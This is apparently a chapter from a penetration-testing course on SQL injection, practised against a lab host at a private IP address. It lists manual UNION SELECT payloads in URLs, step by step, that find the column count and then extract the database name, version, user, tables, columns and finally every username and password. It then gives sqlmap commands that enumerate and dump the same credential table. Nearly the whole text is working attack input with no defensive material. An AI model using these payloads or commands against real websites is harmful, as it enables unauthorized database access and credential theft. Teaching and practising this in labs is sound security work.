13. SQL Injection

Note: We are taking the help of a SQL Injection lab hosted in a virtual environment. If you want to practice, you can visit http://leettime.net for same kind of practice lab.

Practical 1: Union Select SQL Injection (Manual)

Basic Challenge 1:

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 (Normal URL including dork ID)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=99999999999999999999999999999999999 (Web app not working)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=hbdsjfhfjwkhfwekj (Web app not working)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' (Web app throws syntax that tell user input goes in '')

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1'--+ (Web app gets fixed)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' order by 1--+ (Web app works normal)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' order by 10--+ (Web app throws unknown column)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' order by 5--+ (Web app works normal)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' order by 6--+ (Web app throws unknown column) (there are 5 columns)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,2,3,4,5--+ (Web app works and prints 2)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,database(),3,4,5--+ (Get DB Name)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,version(),3,4,5--+ (Get DB Version)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,user(),3,4,5--+ (Get DB User Name)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,table_name,3,4,5 from information_schema.tables where table_schema=database()--+ (Get all tables from current DB)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,column_name,3,4,5 from information_schema.columns where table_schema=database() and table_name='users'--+ (Get all columns from users tables)

http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1' UNION SELECT 1,concat(username,0x3a,password),3,4,5 from users--+ (Get all username and password data)

Practical 2: Union Select SQL Injection using SQLMAP (Automated)

In Kali Linux terminal you need to enter commands in following syntax:

sqlmap -u http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 --current-db (To get the current DB name in use)

sqlmap -u http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 --dbs (To get all the current DB names on target server)

sqlmap -u http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 -D injectordb --tables (To get all the tables from injectordb DB)

sqlmap -u http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 -D injectordb -T users --columns (To get all columns from users table)

sqlmap -u http://192.168.0.130/sqli/tasks/basic_ch1.php?id=1 -D injectordb -T users -C username,password --dump (To get all username and password data)